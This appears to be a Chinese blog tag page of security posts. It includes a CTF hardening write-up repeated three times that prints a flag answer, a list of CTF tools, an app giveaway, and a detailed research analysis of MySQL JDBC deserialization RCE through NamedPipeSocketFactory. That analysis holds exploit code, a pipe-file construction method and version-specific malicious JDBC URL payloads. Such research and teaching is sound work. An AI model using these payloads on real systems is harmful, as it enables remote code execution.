标签流量分析下的文章

作者: 纯情 · 2026-01-25

前言

刚好有机会接触到卫生行业的运维赛，这里只有机会接触到测试赛，简单谢谢wp吧，测试赛的话主办方也是用心了的，难度的话相比较决赛的内容还是比较简单的。

题目

【题目背景】模拟了一台公网上的服务器，内置 MYSQL\SSH\WEB 等应用服务，但是因为安全意识不到位导致该服务器存在若干安全风险，现在要求对该服务器实施断网并作全方面的安全检查，由于服务的迁移，在系统中保留了一些历史服务的流量包，需要对流量包进行分析和研判。

【题目要求】

1、通过修改服务器登录相关的配置文件实现：密码有效期90天、连续输错三次密码，账号锁定五分钟。

2、通过修改mysql相关配置实现：开启数据库查询日志、限制任意地址登录，只允许127.0.0.1登录。

3、从 /root/analyse.pcapng 文件中分析被读取走的flag值，写到 /root/flag.txt 中。

4、对系统中存在的其他安全隐患进行排查和处置（恶意配置后门请直接删除）。

5、还有其他的一些要求，但是没在题干中

【注意事项】

1、不涉及修改密码和修改私钥的动作，如果因为修改密码或私钥导致无法得分，选手自行负责。

2、禁止使用防火墙等相关IP封锁技术对IP进行隔离，如果因为隔离IP导致无法得分，选手自行负责。

【接入信息】

1、SSH服务端口22，账号密码为root/root

2、MYSQL服务账号密码为root/mysql

步骤

登录ssh，发现处于docker容器内，其实这里很多命令是无法使用的。

先修改登录过期事件

vim /etc/login.def

PASS_MAX_DAYS 90

连续输入错误三次，锁定5分钟

vim /etc/pam.d/sshd
auth required pam_tally.so deny=3 onerr=fail unlock_time=300 #最夯一行添加配置文件
auth required pam_faillock.so preauth audit silent deny=3 unlock_time=300
auth required pam_faillock.so authfail audit deny=3 unlock_time=300

或者修改

/etc/pam.d/common-auth

隐藏后门

查看发现异常用户hacker

userdel -f hacker

这里需要强制删除，因为不添加参数的话会重新创建该用户。

访问控制

访问控制在/etc/hosts.allow中发现存在异常的访问控制，删除该文件即可

安全配置

mysql暴力破解用户名密码root/mysql

mysql -uroot -pmysql
SET GLOBAL general_log = 'ON'; //开启数据库查询日志

或者图形化界面执行修改也可以

访问控制2

限制登录地址为127.0.0.1

修改配置文件

vim /etc/mysql/mysql.conf.d/mysql.cnf
bind-address = 127.0.0.1

定时任务

这个定时任务题目有问题，没有定时任务但是需要删除root的定时任务

rm /var/spool/cron/crontabs/root

其实这里的定时任务文件是没内容的，但是check的机制就是检测文件是否存在

特殊权限

find / -type f -perm -4000 -exec ls -l {} \;

find /：从根目录开始查找（你也可以指定特定的目录，例如 /usr 或 /bin）。

-type f：只查找文件，不查找目录。

-perm -4000：查找设置了 SUID 权限的文件（SUID 权限对应的数字是 4000）。

-ls：显示详细信息，包括文件的权限、所有者、大小、修改时间等。

所有具有suid权限的文件都在/bin下，一般whoami权限是没有suid权限的，所以这个文件被动过，所以这里干掉这个文件就可以了。

流量分析

需要开启SFTP服务，注释掉配置文件

#RSAAuthentication yes 这个配置文件是老版本openssh

另外添加ftp配置文件

Subsystem sftp internal-sftp

检索关键字，追踪tcp流分析找到一串base64编码内容

导出分组字节流解码得到flag

echo "flag{d9d2c4b2-7cf2-472f-a8e8-2aad1e466099}" > /root/flag.txt

web漏洞

目录扫描发现info目录，发现属于xxe的报错，构造xxe语句

system是可执行文件，url路径需要传参，fuzz无果手工测试

回显显示需要参数，简单测试构造发现存在任意文件读取

修复直接就是定位到位置点儿进行修复即可。其实这里最简单的就是直接代码审计，审计即可，因为前期导完数据包的时候环境有问题，修改配置文件无法SFTP连接获取源码，所以就黑盒进行FUZZ了。

作者: 纯情 · 2026-01-19

前言

刚好有机会接触到卫生行业的运维赛，这里只有机会接触到测试赛，简单谢谢wp吧，测试赛的话主办方也是用心了的，难度的话相比较决赛的内容还是比较简单的。

题目

【题目背景】模拟了一台公网上的服务器，内置 MYSQL\SSH\WEB 等应用服务，但是因为安全意识不到位导致该服务器存在若干安全风险，现在要求对该服务器实施断网并作全方面的安全检查，由于服务的迁移，在系统中保留了一些历史服务的流量包，需要对流量包进行分析和研判。

【题目要求】

1、通过修改服务器登录相关的配置文件实现：密码有效期90天、连续输错三次密码，账号锁定五分钟。

2、通过修改mysql相关配置实现：开启数据库查询日志、限制任意地址登录，只允许127.0.0.1登录。

3、从 /root/analyse.pcapng 文件中分析被读取走的flag值，写到 /root/flag.txt 中。

4、对系统中存在的其他安全隐患进行排查和处置（恶意配置后门请直接删除）。

5、还有其他的一些要求，但是没在题干中

【注意事项】

1、不涉及修改密码和修改私钥的动作，如果因为修改密码或私钥导致无法得分，选手自行负责。

2、禁止使用防火墙等相关IP封锁技术对IP进行隔离，如果因为隔离IP导致无法得分，选手自行负责。

【接入信息】

1、SSH服务端口22，账号密码为root/root

2、MYSQL服务账号密码为root/mysql

步骤

登录ssh，发现处于docker容器内，其实这里很多命令是无法使用的。

先修改登录过期事件

vim /etc/login.def

PASS_MAX_DAYS 90

连续输入错误三次，锁定5分钟

vim /etc/pam.d/sshd
auth required pam_tally.so deny=3 onerr=fail unlock_time=300 #最夯一行添加配置文件
auth required pam_faillock.so preauth audit silent deny=3 unlock_time=300
auth required pam_faillock.so authfail audit deny=3 unlock_time=300

或者修改

/etc/pam.d/common-auth

隐藏后门

查看发现异常用户hacker

userdel -f hacker

这里需要强制删除，因为不添加参数的话会重新创建该用户。

访问控制

访问控制在/etc/hosts.allow中发现存在异常的访问控制，删除该文件即可

安全配置

mysql暴力破解用户名密码root/mysql

mysql -uroot -pmysql
SET GLOBAL general_log = 'ON'; //开启数据库查询日志

或者图形化界面执行修改也可以

访问控制2

限制登录地址为127.0.0.1

修改配置文件

vim /etc/mysql/mysql.conf.d/mysql.cnf
bind-address = 127.0.0.1

定时任务

这个定时任务题目有问题，没有定时任务但是需要删除root的定时任务

rm /var/spool/cron/crontabs/root

其实这里的定时任务文件是没内容的，但是check的机制就是检测文件是否存在

特殊权限

find / -type f -perm -4000 -exec ls -l {} \;

find /：从根目录开始查找（你也可以指定特定的目录，例如 /usr 或 /bin）。

-type f：只查找文件，不查找目录。

-perm -4000：查找设置了 SUID 权限的文件（SUID 权限对应的数字是 4000）。

-ls：显示详细信息，包括文件的权限、所有者、大小、修改时间等。

所有具有suid权限的文件都在/bin下，一般whoami权限是没有suid权限的，所以这个文件被动过，所以这里干掉这个文件就可以了。

流量分析

需要开启SFTP服务，注释掉配置文件

#RSAAuthentication yes 这个配置文件是老版本openssh

另外添加ftp配置文件

Subsystem sftp internal-sftp

检索关键字，追踪tcp流分析找到一串base64编码内容

导出分组字节流解码得到flag

echo "flag{d9d2c4b2-7cf2-472f-a8e8-2aad1e466099}" > /root/flag.txt

web漏洞

目录扫描发现info目录，发现属于xxe的报错，构造xxe语句

system是可执行文件，url路径需要传参，fuzz无果手工测试

回显显示需要参数，简单测试构造发现存在任意文件读取

修复直接就是定位到位置点儿进行修复即可。其实这里最简单的就是直接代码审计，审计即可，因为前期导完数据包的时候环境有问题，修改配置文件无法SFTP连接获取源码，所以就黑盒进行FUZZ了。

作者: 纯情 · 2026-01-18

前言

刚好有机会接触到卫生行业的运维赛，这里只有机会接触到测试赛，简单谢谢wp吧，测试赛的话主办方也是用心了的，难度的话相比较决赛的内容还是比较简单的。

题目

【题目背景】模拟了一台公网上的服务器，内置 MYSQL\SSH\WEB 等应用服务，但是因为安全意识不到位导致该服务器存在若干安全风险，现在要求对该服务器实施断网并作全方面的安全检查，由于服务的迁移，在系统中保留了一些历史服务的流量包，需要对流量包进行分析和研判。

【题目要求】

1、通过修改服务器登录相关的配置文件实现：密码有效期90天、连续输错三次密码，账号锁定五分钟。

2、通过修改mysql相关配置实现：开启数据库查询日志、限制任意地址登录，只允许127.0.0.1登录。

3、从 /root/analyse.pcapng 文件中分析被读取走的flag值，写到 /root/flag.txt 中。

4、对系统中存在的其他安全隐患进行排查和处置（恶意配置后门请直接删除）。

5、还有其他的一些要求，但是没在题干中

【注意事项】

1、不涉及修改密码和修改私钥的动作，如果因为修改密码或私钥导致无法得分，选手自行负责。

2、禁止使用防火墙等相关IP封锁技术对IP进行隔离，如果因为隔离IP导致无法得分，选手自行负责。

【接入信息】

1、SSH服务端口22，账号密码为root/root

2、MYSQL服务账号密码为root/mysql

步骤

登录ssh，发现处于docker容器内，其实这里很多命令是无法使用的。

先修改登录过期事件

vim /etc/login.def

PASS_MAX_DAYS 90

连续输入错误三次，锁定5分钟

vim /etc/pam.d/sshd
auth required pam_tally.so deny=3 onerr=fail unlock_time=300 #最夯一行添加配置文件
auth required pam_faillock.so preauth audit silent deny=3 unlock_time=300
auth required pam_faillock.so authfail audit deny=3 unlock_time=300

或者修改

/etc/pam.d/common-auth

隐藏后门

查看发现异常用户hacker

userdel -f hacker

这里需要强制删除，因为不添加参数的话会重新创建该用户。

访问控制

访问控制在/etc/hosts.allow中发现存在异常的访问控制，删除该文件即可

安全配置

mysql暴力破解用户名密码root/mysql

mysql -uroot -pmysql
SET GLOBAL general_log = 'ON'; //开启数据库查询日志

或者图形化界面执行修改也可以

访问控制2

限制登录地址为127.0.0.1

修改配置文件

vim /etc/mysql/mysql.conf.d/mysql.cnf
bind-address = 127.0.0.1

定时任务

这个定时任务题目有问题，没有定时任务但是需要删除root的定时任务

rm /var/spool/cron/crontabs/root

其实这里的定时任务文件是没内容的，但是check的机制就是检测文件是否存在

特殊权限

find / -type f -perm -4000 -exec ls -l {} \;

find /：从根目录开始查找（你也可以指定特定的目录，例如 /usr 或 /bin）。

-type f：只查找文件，不查找目录。

-perm -4000：查找设置了 SUID 权限的文件（SUID 权限对应的数字是 4000）。

-ls：显示详细信息，包括文件的权限、所有者、大小、修改时间等。

所有具有suid权限的文件都在/bin下，一般whoami权限是没有suid权限的，所以这个文件被动过，所以这里干掉这个文件就可以了。

流量分析

需要开启SFTP服务，注释掉配置文件

#RSAAuthentication yes 这个配置文件是老版本openssh

另外添加ftp配置文件

Subsystem sftp internal-sftp

检索关键字，追踪tcp流分析找到一串base64编码内容

导出分组字节流解码得到flag

echo "flag{d9d2c4b2-7cf2-472f-a8e8-2aad1e466099}" > /root/flag.txt

web漏洞

目录扫描发现info目录，发现属于xxe的报错，构造xxe语句

system是可执行文件，url路径需要传参，fuzz无果手工测试

回显显示需要参数，简单测试构造发现存在任意文件读取

修复直接就是定位到位置点儿进行修复即可。其实这里最简单的就是直接代码审计，审计即可，因为前期导完数据包的时候环境有问题，修改配置文件无法SFTP连接获取源码，所以就黑盒进行FUZZ了。

作者: 纯情 · 2026-01-16

最近在刷题（特别是内存取证和流量分析）的时候，深深地体会到了一句话：“原理决定上限，工具决定效率” 。以前死磕命令行敲半天，后来发现大佬们用自动化工具两分钟就梭哈了，留下了没有技术的眼泪。

本着 “开源精神”，先把这段时间做题挖掘到的几个非常好用但可能新手不知道的工具 分享出来，希望能帮到像我一样的入门选手。同时也想借地向论坛的各位大佬求助一下获取工具的渠道 。

我的工具分享（取证 / 杂项篇）

随波逐流 (CTF-Tools)

做 MISC 和 Crypto 的应该都知道，但这工具真的值得吹爆。

体验：基本上集成了市面上 99% 的常见编码、加密、隐写工具。什么 Base 全家桶、AES/DES、图片盲水印、文件分离，统统一键搞定。最强的是它的 **“智能识别”** 功能，把乱码丢进去，它能自动尝试解码，省去了去 Python 库里一个个试的时间。

2. Volatility 的自动化外挂：LovelyMem

推荐理由 ：Vol 2.6 虽然经典但命令太长，Vol 3 插件有时候不好配。
体验：这是一个基于 Vol3 的 Python 脚本，它会自动把 CTF 中最常用的命令（netscan, pslist, filescan, cmdline 等）全跑一遍，然后生成一个整整齐齐的报告文件夹。对于常规题，基本是一键出结果。

3. 流量分析提取：NetworkMiner

推荐理由 ：Wireshark 是神，但用来分离文件有点麻烦。
体验：如果不涉及深层协议分析，只是想把流量包里的图片、文件、证书提取出来，把你 pcap 文件拖进这个工具，它会自动分类展示。很多 “流量藏图” 的题用这个秒解。

4. 全能解码：CyberChef

推荐理由 ：应该都知道，但必须再推一次。
体验：最近遇到 GSM 短信解码的题，直接搜 GSM Decode 就能解，比写 Python 脚本快多了。
虽然搜集了上面这些，但我发现我的 “信息差” 还是很严重。

关于工具源 ：大家平时都是通过什么渠道第一时间发现这些好用的新工具的？是盯着 GitHub 的某些 Topic，还是有什么聚合站？
关于圈子 ：怎么找到高质量的 CTF 交流群或者安全圈子？（现在加的一些群全是水群，很难学到真东西）。
其他神器 ：在流量分析或者逆向方面，大佬们还有没有什么私藏的 “压箱底” 工具可以安利一下？

📌 转载信息

来源：
https://linux.do/t/topic/1468240

原作者：
techq

转载时间：
2026/1/16 17:41:10

作者: 纯情 · 2026-01-14

从JDBC Mysql利用NamedPipeSocket实现不出网RCE到Mysql Handshake协议流量分析，理解FakeMysql Server实现原理，学习如何构造PipeFile来实现攻击

在不出网的情况下，如下代码该如何利用？

```java
String url = "jdbc:mysql://localhost:3306/" + dbname + "?useUnicode=true&characterEncoding=utf-8&useSSL=false";
Connection connection = DriverManager.getConnection(url, "root", "root");
```

通过学习文章<https://xz.aliyun.com/news/17830>，可以知道用 NamedPipeSocketFactory 去打 JDBC 反序列化，然后通过 SpingBoot 上传临时文件，但在复现过程中我通过 java-chains 生成 Pipe 时发现当我输入 password 时会导致利用失败，为了解决疑问记录此篇文章。

漏洞原理
====

调用栈：

```markdown
getObject:1402, ResultSetImpl (com.mysql.cj.jdbc)
resultSetToMap:91, ResultSetUtil (com.mysql.cj.jdbc.util)
populateMapWithSessionStatusValues:72, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:86, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:62, V1toV2StatementInterceptorAdapter (com.mysql.cj.jdbc.interceptors)
preProcess:73, NoSubInterceptorWrapper (com.mysql.cj.jdbc.interceptors)
invokeStatementInterceptorsPre:1392, MysqlaProtocol (com.mysql.cj.mysqla.io)
sqlQueryDirect:1108, MysqlaProtocol (com.mysql.cj.mysqla.io)
sqlQueryDirect:445, MysqlaSession (com.mysql.cj.mysqla)
execSQL:2052, ConnectionImpl (com.mysql.cj.jdbc)
execSQL:2014, ConnectionImpl (com.mysql.cj.jdbc)
executeQuery:1424, StatementImpl (com.mysql.cj.jdbc)
loadServerVariables:2948, ConnectionImpl (com.mysql.cj.jdbc)
initializePropsFromServer:2456, ConnectionImpl (com.mysql.cj.jdbc)
connectOneTryOnly:1817, ConnectionImpl (com.mysql.cj.jdbc)
createNewIO:1673, ConnectionImpl (com.mysql.cj.jdbc)
<init>:656, ConnectionImpl (com.mysql.cj.jdbc)
getInstance:349, ConnectionImpl (com.mysql.cj.jdbc)
connect:221, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:270, DriverManager (java.sql)
```

在 JDBC 连接数据库后会执行`SHOW VARIABLES`

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-9e52a99bdea337e5c7a1cb8280f938b851ff32e0.png)  
当查询结果类型为 BLOB 时则会进行反序列化

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-bef2bc2c5b0a8f6583b40d54cc04b5734f222a32.png)

漏洞复现及探索分析
=========

复现环境： jdk-17

使用 java-chains 生成利用链

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-8483cb583be65f9cade0fc92fc218d9a5d93fc85.png)

测试代码如下

```java
public class MysqlExp {
    public static void main(String[] args) throws SQLException {
        String url = "jdbc:mysql://xxx:8080/test?user=mysql&useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath=calc.txt";
        Connection connection = DriverManager.getConnection(url);
    }
}
```

运行弹出计算器，为贴合实际环境，我将代码改为 `DriverManager.getConnection(url, "username", "password")`发现利用失败了

解决疑问
====

调试跟进`getConnection`方法，这里会把参数中的 user 和 password 存入 info

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-85b03356d250af7f74461d84c65863c3dc34e1a6.png)

后续在com.mysql.cj.core.ConnectionString#ConnectionString 中解析 url 中的参数和 info 合并

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-b183f08dbb86d9e82756ae841f041e41d459961b.png)

深入解析方法可以看到 info 是在最后处理的，会覆盖掉 url 中原本存在的 user 还有 password

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-0bdc3b206cdd4592147283cfbc8ea7431670e90c.png)

回到 java-chains 可以看到在生成 PipeFile 时需要填入一个 user 的参数，默认为 mysql

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-43ac10d4e939c23799247052e66441928bad9a0f.png)  
那么如果现在有如下一个环境

```java
String url = "jdbc:mysql://localhost:3306/" + dbname + "?useUnicode=true&characterEncoding=utf-8&useSSL=false";
Connection connection = DriverManager.getConnection(url, "root", "root");
```

这个时候只有 dbname 可控，显然对 url 后续的参数是完全可控的，user 也可以根据需要修改为 root，但是 password 在 java-chains 并未支持自定义

**看到这里突然意识到一个问题：PipeFile 是一个什么文件，为什么还使用了错误的 user 和 password 会导致利用失败，难道与文件通信还需要鉴权吗？**

NamedPipeSocket 是什么
-------------------

遇到不会的问题就去问 AI

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-fdec1274df18069c9c4dd31e0f517d4753aefa9b.png)

那什么又是 Named Pipe 命名管道呢？

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-49c6e6003ff551076e18f860c4588216fc856742.png)  
经过与 AI 的深入交流，输出自己的理解：命名管道是一个通道，在 Linux 系统上可以体现为一个文件，它是通信的媒介，简单理解就是**请求就写入文件，响应就读取文件**，如下为 AI 给出的通信过程。

```java
JDBC: CreateFile("\\.\pipe\mysql")
MySQL: Accept named pipe client

JDBC: WriteFile → CLIENT_HANDSHAKE
MySQL: ReadFile

MySQL: WriteFile → SERVER_HANDSHAKE
JDBC: ReadFile

JDBC: WriteFile → LOGIN_REQUEST
MySQL: ReadFile

MySQL: WriteFile → OK_PACKET
JDBC: ReadFile

JDBC: WriteFile → QUERY("SELECT 1")
MySQL: ReadFile

MySQL: WriteFile → RESULTSET
JDBC: ReadFile

JDBC: close()
MySQL: Disconnect pipe
```

1. JDBC 创建`NamedPipe`，Mysql 响应时写入
2. JDBC 读取文件获取响应，请求即写入文件
3. Mysql 读取文件即获取客户端响应

明白原理后，豁然开朗：

**构造的恶意NamedPipe 实际上是不存在 Server 端的，只是在文件合适的位置放置 Mysql 响应以提供 JDBC 去读取，所以当输入密码后由于 JDBC 写入（请求）文件的字节数变多，从而导致溢出，导致原本防止 Mysql 响应的字节丢失，从而无法正确读取响应抛出异常**

即然是这样，那么 JDBC 的写入内容我们根本无需理会，只需要关注写入的长度就好了，那之前使用 java-chains 生成的 NamedPipe 填写的用户名虽然是 mysql，但实际上在利用时只需要让 username 长度为 5 就好了，运行代码发现确实如此。

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-0dfd16e5e1627f654a488b56b66ef04dbddbee30.png)

Mysql Handshake 流量分析
--------------------

在构造NamedPipe 时，其实我们只需要预留足够长度的空间提供 JDBC 写入，然后再在之后位置写入 Mysql 响应即可，而需要 JDBC 写入的空间完全可以填写空字节占位就好了

通过抓包来看一下 Mysql 的通信过程，使用如下命令，否则流量会被 TSL 加密

```java
mysql --ssl-mode=DISABLED -u username -p -h hostname
```

使用 Mysql 版本为 5.7.43

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-84d3868768be119d431bdfb05c0127a673012dde.png)

蓝色为 mysql 响应，红色为客户端请求，针对每一段进行解析，重点关注长度：

1. mysql 响应，重点影响长度的因素为版本号和最后的密码认证方式（mysql\_native\_password 和 mysql\_clear\_password 只是其中 2 种），mysql\_clear\_password 即明文传输，但客户端不与服务端协商（即使返回mysql\_clear\_password 后续也会提交加密后的密码）
2. 客户端请求，重点关注长度为 204 字节，其中重点包含 username 和加密后的 password
3. mysql 响应，表示登陆成功，使用错误密码登陆流量如下

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-d4a34f1eda06837da2200d6e09d146f85c23d816.png)

4. 后续均为客户端执行语句即 mysql 响应

到此就可以开始构造NamedPipe 文件了，先编辑如下文件，然后使用 JDBC 去连接，获取请求

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-e42412fdbe684ad40eaa07edb2f84a0711953a6e.png)

```java
public class MysqlExp {
    public static void main(String[] args) throws SQLException {
        String url = "jdbc:mysql://xxx:8080/test?useSSL=false&autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath=self.txt";
        Connection connection = DriverManager.getConnection(url, "username", "password");
    }
}
```

运行之后新增 230 字节

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-bf7130274442e8861dff9eb149d0fc96dcca7c88.png)

后续再添加`0700000200000002000000`标识登陆成功

但这样还不够，客户端侧返回了太多版本信息，我们根本无法预料该留多少字节，这块看了一下响应包中的一些标志位

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-b4135bf7ae26b7a80bc3848556002b0f9b90afba.png)

经过不懈努力，将 PLugin Auth 标志位置为 0 就可以实现

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-cb71c4178714ff6fcdfbc0709d19e743e3371c99.png)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-475852fbfbfbc9946d7ff9f817f0cf02bbf54b00.png)

返回共 93 字节，无密码请求时返回字节为 73，相差 20 字节

从流量包中也可以看到加密的 Password 就是占 20 字节，这也就是为什么我们前面使用密码 JDBC 利用时会导致失败的原因

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-021af0bf6579954cc49deff90fd25c8dd4528fa7.png)

PipeFile 重构
-----------

恶意 NamePipeSocket 文件构造方式与 FakeMysql Server 相同，如下图为 java-chains 的构造方法

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-e0fcba34c18524101303aa09edcdfc3dcc6a2e83.png)

感兴趣可以继续深入其中原理，这里就不细阐述了，直接站在巨人的肩膀上实现利用

通过上文分析可知，最简单粗暴的方式就是在 JDBC 请求的内容中塞入 20 字节即可，下图直接在 username 中插入 20 空字节

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-68993d24c51a58731fc595c390d735affc7aee47.png)

成功利用！

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/12/attach-78ed1fb83d47aa784a5f52fdb32fc0b373092a2d.png)

后记：MySQL-JDBC 反序列化链
===================

ServerStatusDiffInterceptor链
----------------------------

**8.0.20以下**

```plain
jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
```

**6.x**

属性名不同，queryInterceptors更改为statementInterceptors

```plain
jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
```

**&gt;=5.1.11**

jar包中没有cj

```plain
jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
```

**5.x &lt;= 5.1.10**

同5.1.11的payload，但需要连接后执行查询。

detectCustomCollations链
-----------------------

**5.1.19-5.1.28：**

```plain
jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?autoDeserialize=true
```

**5.1.29-5.1.48：**

```plain
jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?detectCustomCollations=true&autoDeserialize=true
```

**5.1.49：不可用**

**6.0.2-6.0.6：**

```plain
jdbc:mysql://xxx.xxx.xxx.xxx:3306/test?detectCustomCollations=true&autoDeserialize=true
```

**8.x.x ：不可用**

发表于 2026-01-04 09:00:01
阅读 ( 3405 )
分类：漏洞分析

作者: 纯情 · 2026-01-04

前情提要，由于目前市面上的抓包工具都不是很适配的我的使用习惯，于是乎自己 ai coding 了一款

主要功能：
多过滤器分目录过滤
url 过滤
白名单-可以放行请求
黑名单-可以阻断请求
重写功能-请求，响应
http&https 流量分析

工具箱：
Http Test
正则调试
Url 编码
文本工具
Base64/ Hash
时间戳工具

部分使用截图：

如果您对该应用感兴趣，评论即可参与

最终结果根据总楼层随机抽取 6 位小伙伴，送出终身兑换码，今晚 8 点开奖

如何获取 App：
App Store 搜索：PacketPro